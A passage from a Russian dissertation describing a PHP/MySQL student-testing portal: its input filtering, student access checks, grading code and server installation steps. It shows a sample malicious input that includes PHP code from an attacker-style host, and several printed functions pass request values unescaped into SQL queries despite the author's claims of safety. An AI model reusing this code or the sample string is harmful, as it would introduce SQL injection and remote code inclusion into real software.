Создание портала контроля знаний студентов для систем дистанционного обучения

Анализ и обзор существующих тестовых порталов. Тенденции и причины развития открытого обучения, его особенности. Контроль знаний в дистанционном обучении. Виды тестов и принципы их составления. Установка портала на сервере, инструкция по использованию.

Рубрика Программирование, компьютеры и кибернетика
Вид диссертация
Язык русский
Дата добавления 24.06.2015
Размер файла 4,7 M

Отправить свою хорошую работу в базу знаний просто. Используйте форму, расположенную ниже

Студенты, аспиранты, молодые ученые, использующие базу знаний в своей учебе и работе, будут вам очень благодарны.

«Сценарий хакера; require_once(`www.hack.ru/exmlp1.php'); echo list(this);»

То после применения к ней оператора striptags(), она примет следующий вид%

«Сценарий хакера;»

Как видим весьма полезная и нужная функция. Её можно использовать для обработки тех, данных которые заведомо не должны содержать вэб-дескрипторы - Ф.И.О., адрес, логины и т.п. Разумеется нецелесообразно использовать её, например для обработки текста вопросов тестового портала, т.к. вполне возможно что вопрос может содержать в себе фрагменты, имеющие HTML- и PHP-дескрипторы. Как быть в таком случае? Во-первых, при сохранении такого рода текста опять же следует применить вышеописанные операторы отмены управляющих структур, что и делается в функции add_quest(oper_fns.php), которая добавляет новый вопрос:

$text = addslashes(substr(trim($text),0,255));

$a = addslashes(substr(trim($a),0,255));

$b = addslashes(substr(trim($b),0,255));

$c = addslashes(substr(trim($c),0,255));

$d = addslashes(substr(trim($d),0,255));

Конечно же этими строками проблема не решена, а решается она при отображении данных в браузере с помощью оператора htmlspecialchars(), который предназначен для преобразования вэб-дескрипторов в безопасные текстовые эквиваленты. Данный подход можно увидеть например, в функции quest_info(output.php), которая отображает в браузере данные вопроса, в том числе - его текст и ответы:

<td>Текст вопроса:</td><td><textarea rows="5" name="text" cols="55" maxlength="10"><?php echo htmlspecialchars(trim(stripslashes($res['text'])))?></textarea></tr> <tr><td>Ответ А:</td><td><textarea rows="2" name="a" cols="55" maxlength="10"><?php echo htmlspecialchars(trim(stripslashes($res['a_'])))?></textarea></td> <tr><td>Ответ B:</td><td><textarea rows="2" name="b" cols="55" maxlength="10"><?php echo htmlspecialchars(trim(stripslashes($res['b_'])))?></textarea></td> <tr><td>Ответ C:</td><td><textarea rows="2" name="c" cols="55" maxlength="10"><?php echo htmlspecialchars(trim(stripslashes($res['c_'])))?></textarea></td> <tr><td>Ответ D:</td><td><textarea rows="2" name="d" cols="55" maxlength="10"><?php echo htmlspecialchars(trim(stripslashes($res['d_'])))?></textarea></td>

Таким образом обеспечивается безопасность при вводе и отображении данных тестового портала. Хотя конечно это далеко не предел, и проверки можно усложнить и ужесточить. Но и этого вполне достаточно для того, чтобы взлом и порча данных была сведена к минимуму.

Подводя итог ко всему вышесказанному об операторском блоке приведу общую схему работы оператора с тестовым порталом:

Студенческий блок. Данный блок является тем ядром, в котором происходит весь процесс взаимодействия студентов с порталом, здесь же происходит регистрация новых студентов. Этот каталог содержит следующие скриптовые файлы:

Название файла

Краткое описание

index.php

Главный файл, обеспечивающий интерфейс студентов

ch_data.php

Изменение персональных данных студента

ch_pass.php

Изменение пароля студента

logout.php

Обеспечение выхода студента из системы

registr.php

Регистрация нового студента

check_result.php

Проверка результатов пройденного контроля

db_fns.php

Файл подключения к БД (используется всеми блоками программного ядра)

Output.php

Файл, отвечающий за визуальное оформление студент-интерфейса

student_fns.php

Функции для работы с БД

student_inc.php

Инклюд-файл, подключающий другие необходимые файлы

Главным файлом разумеется является index.php. По умолчанию выводится форма авторизации зарегистрированных студентов, требующая ввода логина и пароля. Если студент ещё не зарегистрирован, то нужно перейти по ссылке «Регистрация». После перехода на страницу регистрации и ввода новых данных, эти данные передаются скрипту registr.php на проверку. Данный файл фильтрует введённые данные

$fio = addslashes(strip_tags($_POST['fio']));

$mail = addslashes(strip_tags($_POST['mail']));

$log = addslashes(strip_tags($_POST['log']));

Как видим из полей «ФИО», «E-mail» и «Логин» удаляются управляющие символы, а также вэб-дескрипторы. Затем проверяется валидность числа:

$ch = (int)$ch;

$god = (int)$god;

$mes = (int)$mes;

if(!checkdate($mes,$ch,$god))

{

show_main($title,$url.' :: Регистрация невозможна! Несуществующая дата! :: '.$url,'reg');

exit;

}

Поля «Число», «Месяц» и «Год» конвертируются в целые числа и с помощью php-функции checkdate проверяется реально ли существует введённая дата, если это не так то выдаётся сообщение об ошибке. Затем с помощью функции check_new_stud (student_fns.php) проверяется не занят ли уже логин, который был только что введён:

function check_new_stud($user)

{

$conn = db_connect();

$conn->query("SET NAMES 'cp1251'");

$result = $conn->query("select * from students where login='$user'");

if (!result)

throw new Exception('ошибка! Не могу проверить вводимые данные!');

if ($result->num_rows>0)

return false;

else

return true;

}

Эта функция запрашивает из таблицы студентов запись имеющую такой же логин, что и передан функции в качестве параметра, если количество возвращённых строк больше нуля функция возвращает FALSE, тем самым оповещая программу о том, что данный логин занят. Если же логин не занят, то введённые данные сохраняются в БД и предлагается вход в систему под введённым логином и паролем.

После входя в систему появляется интерфейс студенческого блока, где наиболее важным пунктом меню является меню «Курсы». Данное меню отображает все активные курсы, т.е. те курсы по которым в данный момент можно пройти тестовые контроли. После выбора конкретного курса, отображается меню для прохождения контролей данного курса. Отображение такого меню обеспечивает функция show_kurs_ctrl (output.php). В начале данная функция получает данные о лимитах курса, для последующего их отображения в таблице:

$kurs_id = $_GET['id'];

$stud_id = $_SESSION['valid_stud_id'];

$res = get_stud_ctrls($stud_id,$kurs_id,true);

$lim_res = get_kurs_lim_for_stud($kurs_id);

$itog = 0;

if($lim_res->num_rows > 0)

{

$lim_res = $lim_res->fetch_assoc();

$lim[1] = $lim_res['tek1'];//лимиты на пересдачу 1-го текущего контроля

$lim[2] = $lim_res['tek2']; //и т.д.

$lim[3] = $lim_res['tek3'];

$lim[4] = $lim_res['tek4'];

$lim[5] = $lim_res['prm1'];

$lim[6] = $lim_res['prm2'];

$lim[7] = $lim_res['itg'];

}

После чего выводится таблица о пройденных и не пройденных контролях по данному курсу. Переменная $res содержит в себе набор данных относительно результатов студента по курсу, если количество её строк больше нуля (значит студент уже проходил некоторые контроли данного курса), таблица выводится в соответствии с информацией о результатах студента. В этом случае основную нагрузку при выводе таблицы несут строки типа (функция show_kurs_ctrl):

if(!check_stud_ctrls($stud_id,$kurs_id,'tek2'))

echo '2-й текущий';

else echo '<a href="index.php?typ=go_ctrl&ctrl=tek2&id='.$kurs_id.'">2-й текущий</a>';

Что делает функция check_stud_ctrls? Эта функция получает идентификатор студента, курса и тип контроля, а затем проверяет имеет ли право студент проходить переданный тип контроля, и если да то выводит соответствующую ссылку, в противном случае выводится просто наименование очередного контроля. Таким образом студент не сможет проходить очередной контроль, не пройдя предыдущий, что является неким стимулом для более глубокого изучения студентом материала по курсу.

Если же переменная $res не содержит ни одной строки, то это значит, что студент не проходил ни одного контроля по данному курсу и выводится стандартная таблица с единственной ссылкой на первый текущий контроль.

Таким образом, если студент имеет право пройти очередной контроль по данному курсу, то этот контроль будет отображён в виде ссылки. Даже если студент попытается обмануть скрипт и заведомо отослать ему тот тип контроля, который на данный момент он не имеет право сдать, то он получит сообщение о запрете, т.к. прежде чем загрузить вопросы данного контроля функция show_ctrl (output.fns) проверяет имеет ли студент право на прохождение данного контроля:

$id = $_GET['id'];

$ctrl = $_GET['ctrl'];

$stud_id = $_SESSION['valid_stud_id'];

$kurs = get_kurs($id)->fetch_assoc();

$kurs = $kurs['name'];

echo '<b>Курс: </b>'.$kurs.'<p>';

if(!check_stud_ctrls($stud_id,$id,$ctrl))

{

echo 'У Вас нет прав пройти данный контроль!<p><b>Причина:</b> Не пройдены предыдущие контроли!';

down_str();

exit;

}

Далее в этой же функции мы видим следующий участок кода:

if(!check_ctrl_quest_cnt($id,$ctrl))

{

echo 'К сожалению в данный момент невозможно пройти контроль!<p><b>Возможные причины:</b><p>1) Нехватка вопросов<p>2) Не установлены лимиты';

}

Данный фрагмент проверяет - хватает ли в базе данных вопросов по данному типу контроля этого курса. Если вопросов в БД недостаточно, то выдаётся соответствующее сообщение. Эта функция принимает два параметра: идентификатор курса и тип контроля:

function check_ctrl_quest_cnt($id,$ctrl)

{

if(check_stud())

{

$conn = db_connect();

$conn->query("SET NAMES 'cp1251'");

$cnt = $conn->query("select count(q_id) as cnt from questions where kurs_id='$id' and typ_ctrl='$ctrl'")->fetch_assoc();

if($cnt['cnt'] < 1 || empty($cnt))

{

return false;

exit;

}

$lim = $conn->query("select * from ctrl_counts where kurs_id='$id'");

if($lim->num_rows > 0)

{

$lim = $lim->fetch_assoc();

if($cnt['cnt'] > $lim[$ctrl]*2)

return true;

else

return false;

}

else

return false;

}

}

Функция вычисляет количество вопросов по данному типу контроля согласно идентификатора курса($cnt), затем получает значение количества вопросов, которое должно выводиться по данному контролю этого курса (таблица «Лимиты на количество вопросов»). После чего проверяется - если реальное количество вопросов в БД больше, чем значение лимита умноженное на 2, то возвращается TRUE и студенту отображается форма для прохождения тестов. Условие «if($cnt['cnt'] > $lim[$ctrl]*2)» конечно взято произвольно, в реальности количество вопросов должно превышать лимит во много раз - для того чтобы, при каждом прохождении данного контроля не было повторения тех или иных вопросов. Здесь всё просто - чем больше вопросов, тем меньше степень повторения, что немаловажно для систем подобного рода.

Продолжим рассмотрение функции show_ctrl (output.fns). Чуть ниже последнего описанного фрагмента идёт следующий фрагмент:

if(get_ctrl_lim($id))

{

$lim = get_ctrl_lim($id)->fetch_assoc();

$cnt_lim = $lim[$ctrl];

if(get_stud_res($stud_id,$id))

{

$stud_res_lim = get_stud_res($stud_id,$id)->fetch_assoc();

if(($stud_res_lim[$ctrl.'_cnt'])==$cnt_lim)

{

echo '<b>Невозможно пересдать контроль, т.к. исчерпан лимит пересдач на данный контроль!</b>';

down_str();

exit;

}

if(($stud_res_lim[$ctrl.'_cnt']+1)==$cnt_lim)

echo '<font face="Verdana" size="2"><b>ВНИМАНИЕ! Это Ваша последняя попытка пересдать данный контроль, поэтому будьте внимательны при ответах!</b></font>';

}

if($cnt_lim==0)

echo '<font face="Verdana" size="2"><b>ВНИМАНИЕ! Данный контроль не разрешено пересдавать, поэтому будьте внимательны при ответах!</b></font><p>';

}

Здесь функция get_ctrl_lim проверяет установлены ли лимиты на пересдачу данного контроля. Если нет, то значит студенты могут пересдавать данный контроль неограниченное количество раз. В противном случае идёт следующая проверка:

с помощью функции get_stud_res(student_fns.php) получаются данные о ходе сдачи контролей студентом по данному курсу, затем сравнивается количество пересдач студентом данного контроля с лимитом на пересдачу данного контроля (if(($stud_res_lim[$ctrl.'_cnt'])==$cnt_lim)) - если оба количества равны, то это говорит о том, что студент достиг лимита на пересдачу и выдаётся сообщение о невозможности пересдачи. Если же лимит на пересдачу равен нулю (if($cnt_lim==0)), то выдаётся соответствующее предупреждение, чтобы студенты были более внимательны при ответах. На этом все проверки, происходящие перед выводом вопросов окончены. Перейдём к рассмотрению скрипта выводящего вопросы.

Вывод вопросов происходит внутри всё той же функции show_ctrl (output.fns):

if(get_ctrl_quest_cnt($id))

{

$cnt = get_ctrl_quest_cnt($id)->fetch_assoc();

$cnt = $cnt[$ctrl];//кол-во выводимых вопросов согласно лимита по вопросам

$quest = get_quest_by_lim($id,$ctrl,$cnt);

Вначале получаем лимит на количество выводимых вопросов, т.е. узнаём сколько вопросов нужно вывести для данного контроля. Затем функция get_quest_by_lim возвращает столько вопросов сколько нужно, т.е. столько сколько определено в лимите:

function get_quest_by_lim($id,$ctrl,$lim)

{

if(check_stud())

{

$conn = db_connect();

$conn->query("SET NAMES 'cp1251'");

$result = $conn->query("select * from questions where kurs_id='$id' and typ_ctrl='$ctrl' order by RAND() LIMIT 0,$lim");

if($result->num_rows >= $lim)

return $result;

else

return false;

}

}

Здесь опять же использована конструкция LIMIT, причём следует обратить внимание на то, что запрос также содержит конструкцию «order by RAND()», благодаря которой всегда возвращается случайный набор записей, разумеется степень случайности опять-таки зависит от количества вопросов! Таким образом имея большие количества вопросов, студент при прохождении одного и того же контроля несколько раз будет иметь дело с новыми вопросами.

Ну и наконец, самый интересный скрипт - скрипт проверки правильности ответов check_result.php. Данный скрипт принимает идентификатор курса, тип контроля, идентификаторы вопросов и ответы на них. Тип контроля нужен для вторичной проверки того - имеет ли студент право сдавать данный контроль или нет. Далее проверяется активен ли курс, т.к. на момент отправки ответов, может возникнуть ситуация когда курс деактивировали, в этом случае ответы не могут засчитываться и выдаётся соответствующее сообщение:

if(check_stud)

{

if(!get_kurs($id))

{

echo 'Курс не найден!';

exit;

}

else

{

$row = get_kurs($id)->fetch_assoc();

if($row['act']!=1)

{

show_main($title,'К сожалению в данный момент курс не активен! Ваши результаты не могут быть проверены!','');

exit; } }

После этого скрипт вторично проверяет не исчерпан ли лимит на пересдачу, если это так, то опять же ответы не засчитываются и выдаётся сообщение о запрете. Если же всё в порядке, то скрипт проверяет - на все ли вопросы ответил студент:

foreach($quest as $q)

{

$ans[$i] = $_POST[$q];

if(empty($ans[$i]))

{

$s = '<font face="Verdana" size="2"><a href=index.php?typ=go_ctrl&ctrl='.$ctrl.'&id='.$id.'><<Вернуться</a>';

show_main($title,$s.' :: Невозможно проверить результат! Ответьте на ВСЕ вопросы!','');

exit;

}

$i++;

}

Массив $ans здесь содержит отправленные ответы, а массив $quest - идентификаторы отображённых вопросов. Если хотя бы один член массива ответов пуст, то значит студент не ответил на все вопросы и в результате этого ответы не могут быть засчитаны. В противном случае ведётся подсчёт правильных ответов:

foreach($quest as $q)

{

if(check_ans($q,$ans[$i]))

$cnt++;//количество правильных ответов

$i++;

}

$result =intval($cnt/$i*100);

Здесь основная работа ложится на функцию check_ans(student_fns.php), которая по идентификатору вопроса и ответу выдаёт результат проверки:

function check_ans($q_id,$ans)

{

if(check_stud())

{

$conn = db_connect();

$conn->query("SET NAMES 'cp1251'");

$result = $conn->query("select * from questions where q_id='$q_id' and ans='$ans'");

if($result->num_rows > 0)

return true;

else

return false;

}

}

Если в таблице вопросов найден вопрос с переданным идентификатором и правильным ответом равным параметру $ans, то значит ответ правильный и результат функции TRUE, в противном случае - возвращается FALSE.

В итоге результат сдачи контроля вычисляется очень простой формулой: вычисляем процентное соотношение общего количества вопросов с количеством правильных ответов и получаем результат в виде процентов. Полученный результат функция set_ctrl_res(student_fns.php) записывает результат сдачи в таблицу результатов, причём инкрементирует количество пересдач на единицу, если контроль сдаётся не первый раз. Затем отображается результат сдачи тестов в виде набранных баллов и словесной оценки (неудовлетворительно, удовлетворительно, хорошо, отлично).

Примерный процесс сдачи тестов изображён на следующей схеме:

Вот в принципе, все основные моменты студенческого блока. Не был рассмотрен пункт меню «Зачётка», т.к. он всего-навсего отображает результаты студента по всем контролям в разрезе курсов, разумеется большая часть этого скрипта представляет из себя HTML-дескрипторы.

4.3 Установка тестового портала на сервере

Для функционирования созданного тестового портала в сети, необходимо на сервере, где непосредственно будет располагаться портал установить не только сам портал, но и ряд программных инструментов, о которых говорилось выше - MySQL, PHP, Apache.

Инсталляция MySQL под Windows

Приведенные ниже инструкции по инсталляции рассчитаны на работу под управлением Windows XP.

Начнем с настройки MySQL. Предполагая, что все необходимые установочные файлы благополучно загружены с офицального сайта MySQL (www.mysql.com), распакуем zip-файл MySQL во временный каталог и запустим на выполнение программу Setup.exe. Эта программа -- ни что иное как стандартный мастер установки InstallShield, и должна выглядеть подобно большинству программ такого рода.

Выбор варианта "Обычная" ("Typical Install") в мастере приводит к тому, что задается лишь вопрос о том, куда необходимо проинсталлировать MySQL. По умолчанию MySQL будет установлен в каталог «с:\mysql». По прошествии процесса инсталляции систему можно будет, при желании, переместить в другой каталог, однако в этом случае для восстановления ее работоспособности потребуется предпринять несколько дополнительных шагов.

После перемещения MySQL, при запуске исполняемого файла mysqld ему потребуется передать несколько параметров командной строки, в которых должно быть указано, что где находится. Для вывода всех существующих параметров служит следующая команда:

C:\mysql\bin\mysqld --help

Например, если система MySQL была перемещена в каталог «D:\programs\mysql», для запуска MySQL вам потребуется выдать следующую команду:

D:\programs\mysql\bin\mysqld --basedir D:\prograras\mysql

Если мы изменили местоположение системы MySQL, которая выполняется как Windows-служба, мы должны будем создать INI-файл с именем my.ini и поместить его в главный каталог Windows [16]. В этом файле должны находиться такие строки:

[mysqld]

Basedir = <корневой каталог MySQL>/bin/

Datadir = <корневой каталог MySQL>/data/

В случае установки под Windows NT/2000/XP, именем MySQL-сервера будет mysqld-nt, и, как правило, он должен быть установлен как служба. Служба -- это программа, которая постоянно выполняется в фоновом режиме и предназначена для реализации определенных услуг для других программ. Службы обычно запускаются автоматически после запуска машины, что экономит время, необходимое для их ручного старта [16].

Инсталляция MySQL в виде службы выполняется за счет выдачи следующих команд в режиме командной строки:

cd c:\mysql\bin mysqld-nt --install

Ответ, который должен быть получен, выглядит примерно так:

Service successfully installed. Служба успешно установлена.

Теперь можно запустить и остановить службу MySQL из командной строки следующим образом:

NET START mysql NET STOP mysql

Как видим, имя исполняемого файла выглядит как mysqld-nt, а вот имя службы -- как просто mysql. После выдачи команды NET START mysql мы должны получить следующее сообщение:

The MySql service is starting.

The MySql service was started successfully.

Запускается служба MySql. Служба MySql запущена успешно.

Как только сервер будет установлен, его можно запускать, останавливать или определять для него автоматический запуск с использованием утилиты «Службы» (Services), доступной в панели управления. Для запуска этой утилиты щелкаем на кнопке Пуск (Start), выбираем в меню Настройка (Settings), а затем Панель управления (Control Panel). Дважды щелкаем на пиктограмме Администрирование (Administrative Tools), а затем на пиктограмме «Службы» (Services).

Окно утилиты «Службы» показано на рисунке 4.3.1. Для настройки любого параметра MySQL потребуется сначала остановить эту службу, а затем установить значение ее параметра «Тип запуска» (Startup Type) равным Авто (Auto). Службу MySQL можно остановить либо с помощью утилиты «Службы», либо с использованием команд NET STOP MySQL или mysqladmin shutdown.

Для проверки работоспособности MySQL нужно воспользоваться следующей командой:

С:\mysql\bin\mysqlshow

Конфигурация, установленная по умолчанию, на самом деле идеальной не является. Существует несколько аспектов, которым потребуется уделить внимание:

¦ Установка переменной PATH.

¦ Удаление анонимного пользователя.

¦ Установка пароля для пользователя root.

Рис.4.3.1. Утилита "Службы" позволяет конфигурировать службы, выполняемые на вашей машине

Установка переменной PATH. MySQL поступает со множеством утилит командной строки, каждая из которых характеризуется своей степенью удобства в использовании. Ни одну из них не удастся просто так вызвать, если только имя каталога бинарных файлов MySQL не будет включено в переменную окружения PATH. Назначение упомянутой переменной состоит в том, что она указывает Windows, где искать исполняемые файлы [19].

Многие из используемых в командной строке Windows команд являются внутренними, и они встроены в командный интерпретатор cmd.exe. Другие команды, такие как format или ipconfig, имеют свои собственные исполняемые файлы. Не стоит и говорить, что необходимость ввода, например, C:\WINNT\system32\format, является совершенно неприемлемой.

Точно так же неудобно было бы набирать «С:\mysql\bin\mysql» для запуска монитора MySQL. Имена каталогов, в которых хранятся исполняемые файлы базовых Windows-команд, подобные format.exe, автоматически помещаются в переменную PATH, что позволяет в любом месте просто набирать так: format. Таким образом, дабы достичь той же степени удобства и в отношении утилит MySQL, мы должны добавить в переменную PATH соответствующую информацию [20].

Щелкаем на кнопке «Пуск», выберите в меню «Настройка», а затем «Панель управления». Дважды щелкаем на элементе «Система» (System) и переходим на вкладку «Дополнительно» (Advanced). Щелчок на кнопке «Переменные среды» (Environment Variables) приводит к отображению диалогового окна, в котором можно просмотреть все переменные окружения, определенные в системе. Дважды щелкаем на переменной PATH и отредактируем её значение.

Добавим точку с запятой в конце текущего значения и добавим полный путь к BIN-каталогу MySQL (например, c:\mysql\bin). После щелчка на кнопке ОК новое значение PATH будет сохранено в системном реестре. Изменения вступят в силу после перезагрузки машины. После перезагрузки мы будем иметь возможность запуска и манипулирования СУБД MySQL из любого каталога.

Удаление анонимного пользователя. Конфигурация MySQL, устанавливаемая по умолчанию, дает возможность любому пользователю получить доступ в систему, не вводя ни имени пользователя, ни тем более пароля. Очевидно, что подобное совершенно неприемлемо [19].

Одной из первых вещей, которые потребуется проделать, является удаление анонимного пользователя. Для этого откроем окно командного интерпретатора и введём следующие команды:

c:\mysql\bin\mysql -u root

use mysql

delete from user where User='';

quit

c:\mysql\bin\mysqladmin --u root reload

Теперь анонимный пользователь больше не присутствует в нашей конфигурации.

Установка пароля пользователя root. Даже учетная запись суперпользователя root сейчас не имеет пароля. Для установки пароля для такого пользователя введём следующие команды:

c:\mysql\bin\mysqladrain -u root password ваш_пароль c:\mysql\bin\mysqladmin

root -h имя_вашего_хоста password ваш_пароль

Теперь мы должны заметить, что команды, которые ранее не требовали ввода комбинации имя пользователя/пароль, теперь не выполняются [19]. Попытка выполнить команду:

c:\mysql\bin\mysqladmin reload

или

c:\mysql\bin\mysqladmin shutdown

теперь терпит неудачу.

Начиная с этого момента, нам потребуется с помощью флага -u указывать имя пользователя, а с помощью флага -р -- пароль, например:

c:\mysql\bin\mysqladmin -u root -p reload

После этого MySQL предложит нам ввести пароль для пользователя root, который мы только что установили.

А сейчас все готово к инсталляции Apache под Windows.

Инсталляция Apache под Windows

Сервер Apache 1.3 и последующие версии разработан так, чтобы выполняться под управлением операционных систем Windows NT, 2000 и ХР. Программа установки работает только на семействе процессоров х86, таких как произведенные компанией Intel. Сервер Apache также может выполняться под Windows 95 и 98. Во всех случаях в системе должен быть установлен протокол TCP/IP. Под Windows 95 и 98 следует убедиться в наличии библиотеки Winsock 2 [18].

Зайдя на сайт http://httpd.apache.org и надо загрузить бинарный файл версии Apache 1.3 для Windows (версия Apache 2.0 является многопоточной, но поскольку некоторые внешние библиотеки РНР не безопасны в отношении потоков, рекомендуется пользоваться версией Apache 1.3).

Мы загрузили файл apache_l. 3.31-win32-x86-no_src.msi. Он представляет собой MSI-архив, содержащий текущую версию (в рамках иерархии выпуска 1.3) для Windows без исходного кода. MSI-файл -- это формат, который использует мастер установки Windows.

Вопросы компиляции исходного кода Apache возникать не должны, поскольку подобное требуется только в случаях, например, когда постоянно появляется неустранимая ошибка, или же вы решили присоединиться к команде разработчиков Apache. Упомянутый выше единственный файл содержит в себе весь сервер Apache, готовый к установке.

Выполним двойной щелчок на этом файле, чтобы начать процесс инсталляции. Процесс инсталляции должен выглядеть очень знакомым. Как показано на рисунке 4.3.2, он выполняется аналогично установке других продуктов, при которой используется стандартный мастер установки Windows.

Программа установки запросит у нас следующую информацию:

¦ Имя сети, имя сервера и адрес электронной почты администратора. Если мы задумали построить сервер для реального использования, мы должны знать четкие ответы на эти вопросы. В случае если мы строим сервер для личного использования, ответы на вопросы не настолько важны.

Рис. 4.3.2. Программа установки Apache проста в использовании

¦ Хотим ли мы запускать Apache как службу. Как и в случае с MySQL, на этот вопрос лучше ответить утвердительно.

¦ Тип инсталляции. Рекомендуется отдавать предпочтение варианту "Полная" ("Complete"), тем не менее, мы можем выбрать и вариант "Выборочная" ("Custom"), если, например, решили не устанавливать некоторые компоненты, скажем, документацию.

¦ Каталог, в который необходимо установить Apache. (По умолчанию это

C:\Program Files\Apache Group\Apache.)

После ответа на все перечисленные вопросы сервер Apache будет установлен и запущен.

После запуска Apache будет прослушивать порт 80 (если только не изменить установки Port, Listen или BindAddress в конфигурационном файле). Для подключения к серверу и доступа к странице по умолчанию запустим браузер и введем следующий URL-адрес:

http://localhost/

В результате в браузер должна загрузиться страница приглашения, а также ссылка на учебник по Apache. Если вообще ничего не произошло или же вылетает сообщение об ошибке, нужно просмотреть файл error.log, расположенный в каталоге logs. Если вы не подключены к Internet, возможно, потребуется использовать следующий URL-адрес:

http://127.0.0.1/

Это IP-адрес, который означает localhost [20].

Если номер прослушиваемого порта был изменен на что-то, отличное от 80, в конец URL-адреса необходимо добавить: номер порта.

Не следует забывать, что сервер Apache не допускает совместного использования одного и того же порта с другим ТСР/IР-приложением [18].

Запуск и останов Apache выполняется через меню «Пуск» -- Apache просто добавляет свои файлы в группу Программы->Арасhе HTTP Server (Prorgams->Apache HTTP Server). В подгруппе Control Apache Server (Управление сервером Apache) можно найти опции запуска, останова и перезапуска сервера.

После инсталляции Apache может возникнуть необходимость отредактировать конфигурационные файлы, которые находятся в каталоге conf. Рассмотрим вопросы редактирования конфигурационного файла httpd.conf, когда дойдем до инсталляции РНР.

Инсталляция РНР под Windows

Чтобы установить РНР под Windows, нужно загрузить РНР5 из сайта http://www.php.net.

Для инсталляции под Windows потребуется загрузить два файла -- zip-архив, содержащий РНР (с именем наподобие php-5.0.0-Win32.zip), и zip-архив с коллекцией библиотек (с именем pecl-5.0.0-Win32.zip или похожим).

Начнём с распаковки zip-файла в любой рабочий каталог. Обычно это каталог «С:\РНР», и как раз на него я и буду ссылаться во время дальнейших объяснений.

Установить библиотеки PECL можно путем распаковки соответствующего архива в каталог расширений РНР. Если в качестве основного каталога для РНР выбран «С:\РНР», то расширения, как правило, хранятся в «С:\PHP\ext».

Теперь выполним описанные ниже действия:

1. В главном каталоге должны присутствовать файлы php.exe и php5ts.dll. Они необходимы для запуска РНР как CGI-модуля. Если вам необходимо запускать РНР как SAPI-модуль, вы должны перейти в каталог «С:\PHP\sapi» и скопировать из него соответствующую DLL-библиотеку в каталог «C:\PHP». Например, для случая сервера Apache такой библиотекой будет php5apache.dll [16].

SAPI-модули отличаются большим быстродействием и простотой защиты. CGI-версия позволяет запускать РНР из командной строки. Опять-таки, выбор исключительно за вами.

2. Скопируем все DLL-библиотеки из каталога «C:\PHP\dlls» в системный каталог Windows. В случае Windows NT или 2000 таким каталогом будет «C:\winnt\system32», а в случае Windows XP -- «С:\windows\system32».

3. Настроим конфигурационный файл php.ini. В состав дистрибутива РНР входят два конфигурационных файла: php.ini-dist и php.ini-recommended. Предполагается, что мы будем использовать php.ini-dist во время изучения РНР и на инструментальном сервере, a php. ini-recommended -- на производственном сервере. Скопируем этот файл и переименуем копию на php.ini. Поместим полученный файл в каталог «%SYSTEMRООT%». Обычно это каталог «c:\winnt» или «c:\winnt40» для Windows NT или 2000, и «c:\windows» для Windows XP [17].

4. Отредактируем файл php.ini. В нем содержится изрядное количество конфигурационных параметров, большинство из которых на данный момент можно проигнорировать. Единственными настройками, которые придется изменить сейчас, являются:

* Директива extension_dir должна указывать на каталог, в котором размещаются DLL-библиотеки расширений. При стандартной инсталляции это должен быть каталог «C:\PHP\ext». Таким образом, наша копия файла php.ini должна содержать строку [17]:

extensior_dir c:/php/ext

* Директива doc_root должна указывать на корневой каталог, который обслуживается нашим Web-сервером. Для случая сервера Apache строка должна выглядеть следующим образом:

doc_root = "с:/Program Files/Apache Group/Apache/htdocs"

а для случая сервера Microsoft IIS -- вот так:

doc_root = "c:/Inetpub/wwwroot"

* Нам потребуется также определить, какие расширения необходимо запустить. Для того чтобы добавить расширения, посмотрите на список, помеченный как Windows Extensions. Он содержит множество строк наподобие:

;extension=php_pdf.dll

Чтобы включить данное расширение, удалите символ точки с запятой в начале строки (понятно, что помещение символа точки с запятой в начало строки, наоборот, отключает расширение). Изменения вступают в силу только после повторного запуска Web-сервера [17]. Для целей тестового портала потребуется включить следующие расширения:

php_gd2.dll, php_imap.dll и php_mysqli.dll. Удалите символы комментария с соответствующих строк. Кроме того, заметим, что строка для расширения php_mysqli.dll отсутствует. Добавьте ее:

extension=php_mysqli.dll

Сохраните и закройте файл php.ini.

5. Если вы используете файловую систему NTFS, убедитесь, что пользователь, от имени которого запускается Web-сервер, обладает полномочиями по чтению файла php.ini.

Добавление PHP в конфигурацию сервера Apache

Нам может потребоваться отредактировать один из множества конфигурационных файлов Apache. Откроем файл httpd.conf в одном из редакторов. Обычно упомянутый файл расположен в каталоге «C:\Program Files\Apache Group\Apache\conf\». Найдём в нем следующие строки:

LoadModule php5_module с:/php/php5apache.dll

AddModule mod_php5.с

AddType application/x-httpd-php .php

Action application/x-httpd-php "/php/php.exe"

Если эти строки в файле отсутствуют, то нужно добавить их, сохранить файл и перезапустить сервер Apache [16].

На этом весь процесс установки и конфигурации ПО сервера почти закончен, нам остаётся только скопировать файлы тестового портала с прилагаемого к диссертации компакт-диска в соответствующий каталог, но перед этим следует убедиться что все установленные компоненты нормальнно функционируют.

Для этого потребуется создать сценарий «test.php» с одной-единственной строкой:

<? Phpinfo() ; ?>

Файл должен быть помещен в корневой каталог документов (обычно это

«C:\Program File\Apache Group\Apache\htdocs для Apache» и «С: \Inetpub\wwwroot» -- для IIS). Далее загрузим его в браузер, указав следующий URL-адрес:

http://localhost/test.php

или:

http: //ip-aдpec-вашего-компьютерpa/test.php

Если в окне браузера выводится страница, похожая на показанную на рисунке 4.3.3, значит, все установленные компоненты функционируют нормально [20].

Рис.4.3.3. Функция phpinfo() выдаёт полезную информацию о конфигурации

И теперь нам нужно скопировать файлы тестового портала (папка «Test_Portal») в корневой вэб-каталог сервера, в нашем случае это каталог - «C:\Program File\Apache Group\Apache\htdocs». После успешного копирования файлов нам потребуется создать первоначальную базу данных портала с помощью файла «testportal_create.sql». Данный файл располагается в только-что скопированной папке «SQLs». Этот файл нужно запустить из любой командной строки, набрав следующую строку:

mysql -u root -p < testportal_create.sql

после чего MySQL потребует ввода пароля суперпользователя «root», который был указан при установке СУБД. Затем при вводе правильного пароля будет создана начальная (пустая) БД тестового портала, первичное заполнение которой ведётся администратором с помощью скрипта «admin.php», находящегося в папке ADMIN.

И наконец, для окончательной уверенности нужно убедиться, что сам портал успешно установлен. Для этого введём в браузере адрес следующего вида:

http://localhost/test_portal/admin/admin.php

Если в браузере отобразится страница похожая на страницу, показанную на рис. , значит портал был успешно установлен и готов к работе! На этом процесс установки тестового портала завершён.

4.4 Инструкция по использованию портала

Как говорилось выше - портал состоит из трёх блоков - администраторский, операторский и студенческий. Рассмотрим особенности работы с порталом отдельно по каждому блоку.

Админ-модуль

